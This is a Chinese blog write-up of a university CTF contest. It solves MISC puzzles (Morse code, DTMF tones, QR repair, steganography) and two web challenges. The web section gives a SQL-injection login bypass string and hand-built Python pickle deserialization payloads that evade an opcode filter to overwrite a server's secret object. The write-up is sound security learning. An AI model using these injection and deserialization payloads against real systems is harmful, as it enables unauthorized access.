CTF | XCTF高校战“疫”网络安全分享赛 WriteUp


poster

前言

上上周看到了这个 XCTF 的高校战“疫”网络安全分享赛,觉得有点意思可以玩一下。

于是上周末就水了一下,然而啥也不会菜到爆炸,都没几道题会做……(后面还补作业瞎折腾去了

最近看了看大佬们的 WP,估计在他们眼里都是签到题吧,啥也不说直接丢一个 payload 搞定走人(awsl。

不过还是有点感受或者其他方面的收获之类的,顺便来学点东西,随便写一点吧。

官方 WP: 点这里下载 (版权归官方所有)

好像好多环境都关了。

(话说这篇文章丢 draft 里好久了唉,再不发就要长草了。

MISC

2019-nCoV

真·签到

flag{shijiejiayou}

武汉加油!中国加油!世界加油!


简单MISC

压缩包里有一个flag.zip(加密) 和一个photo.jpg(打不开)。

photo.jpg 经过提取得到一个zip文件。

里面有一个 ctf.txt 文件,里面是

./.--./../-.././--/../-.-./.../../-/..-/.-/-/../---/-./---/..-./..-/-./../...-/./.-./.../../-/-.--/.--/.-/.-.

一看是摩斯密码,解密得到

EPIDEMICSITUATIONOFUNIVERSITYWAR

(嗯 EPIDEMIC SITUATION OF UNIVERSITY WAR 嘛。高校战疫啦。

作为密码,解压flag.zip文件,得到flag.txt

VGgxc19pc19GbGFHX3lvdV9hUkVfcmlnSFQ=

base64解密得到flag:

Th1s_is_FlaG_you_aRE_rigHT


隐藏的信息

压缩包里有个二维码.jpg,以及 纯数字.zip

其中压缩包加密了。

二维码

发现二维码被扣掉了三个定位脚而且反色了,于是补全

二维码_修复后

扫码得到(可能补得不是很好,但发现手机 QQ 的扫码真的强

flag{this_is_also_not_flag} 解压密码不在这里0.0!

假的flag!发现并不能解压。

同时在十六进制编辑器里看到最后有一段字符串:TOGETYOURFLAG(有点懵,好像没啥用的亚子

再看回压缩包,根据文件名 纯数字,于是暴力跑了一波,然而并不行。

于是想到伪加密,果然如此。

解压得到隐藏的信息.wav,音频内容大概就是 我的武汉尽快好起来 之类的,挺应景的,也挺励志的。

在音频最后发现了比较微弱的拨号声音,看了看频域,发现了如下的频谱。(在最前面和最后面都有这样的信号)

spectrum

每个拨号声由两个频率叠加而成。

想起来刚放寒假的时候有个学弟还问过拨号的原理,那时候还答不上来,查了半天没找到合适的资料。

这次再去谷歌查了一下,发现原来这叫做 DTMF 信号

双音多频信号(Dual-Tone Multi-Frequency, DTMF),电话系统中电话机与交换机之间的一种用户信令,最常用于发拨号时送被叫号码。

双音多频的拨号键盘是4×4的矩阵,每一行代表一个频,每一列代表一个频。每按一个键就发送一个频和频的正弦信号组合,比如’1’相当于697和1209赫兹(Hz)。交换机可以解码这些频率组合并确定所对应的按键。

(来自维基百科)

1209 Hz 1336 Hz 1477 Hz 1633 Hz
697 Hz 1 2 3 A
770 Hz 4 5 6 B
852 Hz 7 8 9 C
941 Hz * 0 # D

本来想利用网络上在线的解码工具,然而发现网站不是上不去就是停止服务了。(噗

那还是自己来吧。

对于每一位号码分别查看频谱,根据最接近的低频和高频信号对应于表格内的数字/字母。(挺佩服直接就听出来的大佬

得到音频最后面这几个数字为 5618521,最前面的几个为 18748

凑成 flag{187485618521} 交上去,不对!

难道两部分反了?于是倒过来再试,不行。

难道要倒叙?不行。

难道是字母?于是转成键盘上1-0对应着下面的一行字母,试了试,不行。

难道是哪个数字搞错了???再确认了一遍,队友也确认了一遍,就是这个啊(黑脸。

Base64 解码一下,不对不可能。

于是卡在这里了。

看到别人 WP 的时候发现蠢死了,想到 base64 解码没想到反过来编码……

然而人家二维码里给提示了,只是提示不在结尾而已。

呐,USEBASE64TOGETYOURFLAG.

usebase64

下次得先用 strings 来看看……

strings

于是 flag 就是 flag{MTg3NDg1NjE4NTIx}


找资料的时候发现了有大佬在单片机上实现 DTMF 软解码的。

单片机软解码

在线生成某种特定音调的网站:http://onlinetonegenerator.com/dtmf.html

toneGenerator

其他一些资料:

另一个在线 DTMF 生成工具 DTMF Tone Generator

一个在线 DTMF 解码工具 Detect DTMF Tones(好像上不去)

DTMF 编码及解码

GitHub项目:

DTMF_Detector 📞 Using Matlab to simulate Dual-Tone Multi-Frequency (DTMF) of telephone

DTMF-Detection-Goertzel-Algorithm- DTMF detection system developed on AVR Atmega128 board based on Goertzel algorithm



武汉加油

发现附件只有一张图片↓。

首先祝武汉加油,中国加油,向医护人员致敬。

发现了文件拼接了一个 RAR 文件,foremost 提取不出来,懒得开 Ubuntu 用 binwalk 了,于是直接手动提取出压缩包。

得到一个flag.exe.

什么?MISC 题还要 RE???

然而看了一下发现解不了,好像加壳了。

随便猜了一下和武汉加油相关的 flag 交上去,都不对……

看了大佬们的 WP 发现是 flag{zhong_guo_jia_you} … 中国加油!

(佩服直接猜出来的)

原来图片里还隐写了密码,用 steghide 爆破提取出 flag.txt,可以得到密码' 武 汉 加 油 !,输入到 flag.exe就可以得到 flag。(emmm

zhongguojiayou


ez_mem&usb

MISC 是真的杂……

captured.pcap抓包文件,可以在一堆流量中提取出一个上传文件的页面upload_file.php

从提交的 form 里可以提取出一个 data.zip.

压缩包里是一个 data.vmem,噫一个虚拟机内存镜像。

懵了,没玩过内存取证的题目唉(好菜啊

看题目后面应该还需要提取 USB 的数据,大概 flag 在 USB 数据里吧。

后面有空再学学 volatility 内存取证。


Web

sqlcheckin

http://121.37.161.79:8005

就是输入用户名密码登录那种,用 PHP 的 PDO 来连接数据库。用户名需要为admin

毕竟是 checkin 题,感觉应该不会太难。然而试了试常用的万能密码发现并没有效果,都被 Deny 了。

然后队友在网上搜到了原题—— 湖南省第三届大学生信息安全水赛WriteUp.

'-0-'可以代替'or'1绕过。于是构造参数如下即可。

username=admin&password='-0-'

立个 flag,后面好好学一下 SQL(


webtmp

http://121.36.222.22:10019/

webtmp

源码:

source code

import base64
import io
import sys
import pickle

from flask import Flask, Response, render_template, request

app = Flask(__name__)

class Animal:
    def __init__(self, name, category):
        self.name = name
        self.category = category

    def __repr__(self):
        return f'Animal(name={self.name!r}, category={self.category!r})'

    def __eq__(self, other):
        return type(other) is Animal and self.name == other.name and self.category == other.category

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == '__main__':
            return getattr(sys.modules['__main__'], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()

def read(filename, encoding='utf-8'):
    with open(filename, 'r', encoding=encoding) as fin:
        return fin.read()

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.args.get('source'):
        return Response(read(__file__), mimetype='text/plain')

    if request.method == 'POST':
        try:
            pickle_data = request.form.get('data')
            if b'R' in base64.b64decode(pickle_data):
                return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
            else:
                result = restricted_loads(base64.b64decode(pickle_data))
                if type(result) is not Animal:
                    return 'Are you sure that is an animal???'
            correct = (result == Animal(secret.name, secret.category))
            return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
        except Exception as e:
            print(repr(e))
            return "Something wrong"
    sample_obj = Animal('mmm','aaaa')   
    pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()
    return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

(可能有些地方被我不小心改了

看到 pickle 想到了反序列化,之前只听说过 PHP 有反序列化漏洞,这里才知道原来 python 也有。

这次正好就来了解一下 pickle 反序列化吧。

后面再记一下这一块的笔记吧(大概率咕咕咕

可以用 pickletools 这个反汇编工具来帮助理解 pickle 代码,即opcode

比如这里把name设成 'mmm'category设为 'aaaa',而后生成 pickle,可以看到各个命令的含义。

$ python3 -m pickletools -a ./data
    0: \x80 PROTO      3              Protocol version indicator.
    2: c    GLOBAL     '__main__ Animal' Push a global object (module.attr) on the stack.
   19: q    BINPUT     0                 Store the stack top into the memo.  The stack is not popped.
   21: )    EMPTY_TUPLE                  Push an empty tuple.
   22: \x81 NEWOBJ                       Build an object instance.
   23: q    BINPUT     1                 Store the stack top into the memo.  The stack is not popped.
   25: }    EMPTY_DICT                   Push an empty dict.
   26: q    BINPUT     2                 Store the stack top into the memo.  The stack is not popped.
   28: (    MARK                         Push markobject onto the stack.
   29: X        BINUNICODE 'name'        Push a Python Unicode string object.
   38: q        BINPUT     3             Store the stack top into the memo.  The stack is not popped.
   40: X        BINUNICODE 'mmm'         Push a Python Unicode string object.
   48: q        BINPUT     4             Store the stack top into the memo.  The stack is not popped.
   50: X        BINUNICODE 'category'    Push a Python Unicode string object.
   63: q        BINPUT     5             Store the stack top into the memo.  The stack is not popped.
   65: X        BINUNICODE 'aaaa'        Push a Python Unicode string object.
   74: q        BINPUT     6             Store the stack top into the memo.  The stack is not popped.
   76: u        SETITEMS   (MARK at 28)  Add an arbitrary number of key+value pairs to an existing dict.
   77: b    BUILD                        Finish building an object, via __setstate__ or dict update.
   78: .    STOP                         Stop the unpickling machine.
highest protocol among opcodes = 2

看了半天反序列化漏洞,大部分都是利用__reduce__方法来实现任意代码的执行

如果没有输出的话,可以反弹 shell 到自己的服务器上,利用网站访问日志来得到需要的信息。

(这时我看了看服务器的 nginx log,发现日常被扫,常见的 admin、phpmyadmin 目录,甚至还有想跨站执行 rm -rf / 的……

话说回来,当我写好 __reduce__ 方法 post 上去之后,发现被拒绝了。不过代码里也有体现。

no RCEs

No RCE

然而想要将 callable 对象执行都必须要调用 reduce,在 pickle 中都会涉及 R 这个字母。

于是乎不能在服务器上通过执行自己的代码来获取 flag。

后面突然想到,你不让我 RCE,我可以改掉你的 secret 中的 namecategory 啊!

这里要手搓 pickle 了。当时的思路是调用 secret 模块的内容对 Animal 进行实例化。然而比较菜,不知道为啥出了点问题。

后来又想到读取 secret 文件读取属性信息进而获取 flag,不过没有具体的思路,于是到这里就卡住了。

后来看到大佬的 WP,发现果然是直接改掉这个secret

不过具体不是调用 secret 模块,而是直接在 __main__ 下建一个自己的secret类,设置自己的属性,覆盖掉 import 进来的secret。再利用自己设置的属性信息去校验就完事了。

payload = b"\x80\x03c__main__\nsecret\n} (X\x04\x00\x00\x00nameX\x03\x00\x00\x00233X\x08\x00\x00\x00categoryX\x03\x00\x 00\x00233ub0c__main__\nAnimal\n)\x81} (X\x04\x00\x00\x00nameq\x03X\x03\x00\x00\x00233X\x08\x00\x00\x00categoryX\x03\ x00\x00\x00233ub."

另一个 payload:

b"c__main__\nsecret\np0\n0g0\n(}(S'name'\nS'asd'\ndtbg0\n(}(S'category'\nS'123'\ndtb\x80\x04\x95=\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Animal\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x03asd\x94\x8c\x08category\x94\x8c\x03123\x94ub."

# base64
Y19fbWFpbl9fCnNlY3JldApwMAowZzAKKH0oUyduYW1lJwpTJ2FzZCcKZHRiZzAKKH0oUydjYXRlZ29yeScKUycxMjMnCmR0YoAElT0AAAAAAAAAjAhfX21haW5fX5SMBkFuaW1hbJSTlCmBlH2UKIwEbmFtZZSMA2FzZJSMCGNhdGVnb3J5lIwDMTIzlHViLg==

下面这个链接里有关于 pickle 及其反序列化漏洞的更完整的介绍。

🐍 Security Issues in Python Pickle

(Scientific Network needed

What is serialization, How to serialize data, Pickle in CTF Challenges, Implementation of Pickle, Vulnerabilities in Wild, Mitigation strategies && Best practices…

里面讲到了几个例题

2019-SJTU-Pickle
2019-SJTU-Pickle-Revenge-Back
2018-HITB-Python-Revenge
2019-SJTU-Pickle-Revenge (←这个题就和这里这题几乎一个套路

不允许R,他这里的注入思路也是调用 secret 模块的内容对 Animal 进行实例化,有点想不明白我写的哪里出问题了(

他还进一步实现了对文件的读取。最后的结论是,放弃使用pickle。毕竟太危险了呀!

Extensive Reading:


Else

其他的题大概看了看。。不过没什么思路或者有思路不知道怎么实现,好菜啊……

(怎么大佬们动不动随手就一个 payload 搞定了嘤嘤嘤


小结

再回过头来看这次 CTF 的比赛名称,高校战“疫”网络安全分享赛

还是挺有意思的吧。主题结合了当下的热点,题目也比较应景,也挺正能量的。

COVID-19 面前,不仅仅需要中国努力,更需要全世界一起行动起来,共同与疫情进行较量。

这是整个人类共同面临的困难和挑战,从中也更能意识到人类命运共同体的含义了。

武汉加油,中国加油,世界加油!

再看 CTF,感觉涉及的面不是一般的广,更多的是想来学点东西吧,你看人家大佬都比你厉害呢。

其中的 MISC 题经常需要不小的脑洞,比如 武汉加油、隐藏的信息 之类的题目就是呢。

或许这就是CTF的魅力吧!

charms_of_CTF

可能文中有的表述不大严谨,不要太在意(

这篇其实写的也很水

(溜


文章作者: MiaoTony
版权声明: 本博客所有文章除特別声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 MiaoTony !
评论
  目录